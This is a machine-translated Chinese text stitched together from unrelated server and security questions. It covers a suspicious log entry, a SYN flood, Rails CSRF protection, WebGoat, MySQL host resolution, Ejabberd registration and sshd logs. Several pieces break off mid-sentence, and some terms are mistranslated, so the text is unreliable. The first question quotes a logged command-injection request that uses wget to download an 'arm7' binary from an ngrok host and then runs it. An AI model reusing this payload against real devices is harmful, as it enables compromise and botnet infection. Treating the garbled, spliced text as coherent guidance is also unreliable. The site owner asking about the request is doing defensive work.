我已经打开了一个网站,它的目的只是分享文本信息。没有后端的数据库,或者不知道身份验证。然而,当我查看日志时,我注意到了这个请求: POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7&
我的服务器正在受到攻击(SYN洪水攻击),我在/var/log/messages中看到的是大量的:
r8169: eth0: link up
r8169: eth0: link up
r8169: eth0: link up
1.这是什么意思?
在攻击期间我不能访问服务器,但是在洪水停止后,我也不能访问它,我必须重新启动服务器。
2.有可能避免这种重新启动吗?是否可以在不手动重新启动服务器的情况下“自动重置”连接?
附加信息: Ubuntu服务器10.04位,8GB内存,双核。防火墙:脑脊液(IPTables)
针对高达50-70 70Mbps流量的80端口(apache2)的系统洪水攻击
编
在我的Rails应用程序目录中的config/application_controller.rb文件中,我找到了以下代码:
class ApplicationController < ActionController::Base
protect_from_forgery
end
谁能告诉我project_from_forgery是什么意思,为什么要用它?
我刚从WebGoat开始。在他们的GitHub页面[https://github.com/WebGoat/WebGoat]上,他们发布了以下警告:
WARNING 1: While running this program your machine will be
extremely vulnerable to attack. You should to disconnect
from the Internet while using this program. [sic]
这是什么意思?我天真的理解是,这是在本地主机上运行的,那么漏洞在哪里?
P.S.:如果你能解释一下这件事就更好了,因为
当我使用127.0.0.1作为主机连接到mysql服务器时,连接失败
Issue : Access denied
当我使用localhost作为主机连接到mysql服务器时,它将能够连接。
"127.0.0.1“与"localhost”相同。
还有一些地方我读到mysql不能
MySQL won't auto-resolve the host name
这是什么意思?
我能够在我的Ejabberd服务器中注册用户,我想我改变了一些东西。现在我根本不能注册用户,也没有收到任何错误。
当我开始注册过程时,我会提醒状态,它只是调用1、11和10。我不确定它们是什么意思,如果有什么地方,我可以看到它们的定义,这样我就可以知道它调用的错误。
我的注册码应该是正确的,因为我可以将用户注册到我的Openfire服务器。但在我的本地主机和EC2上注册Ejabberd时,它突然停止工作。所以我想我已经改变了一些我不应该做的设置。
我在配置中的寄存器访问规则:
[{all,allow}]
下面是我的代码:
function Onregister(){
va
我看到很多用这行的日志:
Nov 7 03:47:41 s1 sshd[23430]: Received disconnect from XX.XXX.XX.XX: 11:
Nov 7 05:08:16 s1 sshd[24474]: Received disconnect from XX.XXX.XX.XX: 11:
Nov 7 06:33:59 s1 sshd[25526]: Received disconnect from XX.XXX.XX.XX: 11:
Nov 7 08:06:33 s1 sshd[26601]: Received disconnect from XX.XX